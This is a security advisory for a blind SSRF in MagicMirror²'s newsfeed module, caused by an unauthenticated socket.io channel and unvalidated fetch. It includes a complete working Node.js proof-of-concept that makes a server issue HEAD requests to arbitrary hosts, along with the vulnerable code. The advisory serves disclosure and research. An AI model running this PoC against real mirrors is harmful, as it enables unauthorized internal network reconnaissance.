GHSA-998g-7v5w-cr7g

# Vulnerability — Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror² newsfeed)

> Analysis of the PoC `exploit-ssrf-newsfeed.js`. > Target: `newsfeed/node_helper.js` of MagicMirror², socket.io namespace `/newsfeed`.

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## Identification

| Field | Value | |-------|-------| | **PoC file** | `exploit-ssrf-newsfeed.js` | | **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` | | **Precondition** | reach the mirror's HTTP port (no authentication required) |

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## Description

The `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: "HEAD" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`.

This gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.

The actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service's log), since the `canFrame` field alone leaks little.

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## Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from **any origin** and with **no authentication**:

```js const io = new Server(server, { cors: { origin: /.*$/, credentials: true } }); ```

The `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification.

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## Exploit (`exploit-ssrf-newsfeed.js`)

```js const { io } = require("socket.io-client"); const TARGET = process.env.MM || "https://target/"; const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site"; const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => { if (event === "ARTICLE_URL_STATUS") { console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`); console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF)."); process.exit(0); } }); socket.on("connect", () => { console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`); socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT }); }); setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000); ```

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## Vulnerable target code (pattern)

```js async checkArticleUrl(url) { const res = await fetch(url, { method: "HEAD" }); const canFrame = !res.headers.get("x-frame-options") && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || ""); this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame }); } ```

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## Impact

- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive. - Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC). - Although it's HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.

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### References - CWE-918: Server-Side Request Forgery (SSRF) - CWE-306: Missing Authentication for Critical Function - CWE-942: Permissive Cross-domain Policy with Untrusted Domains - OWASP: SSRF Prevention Cheat Sheet

> This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.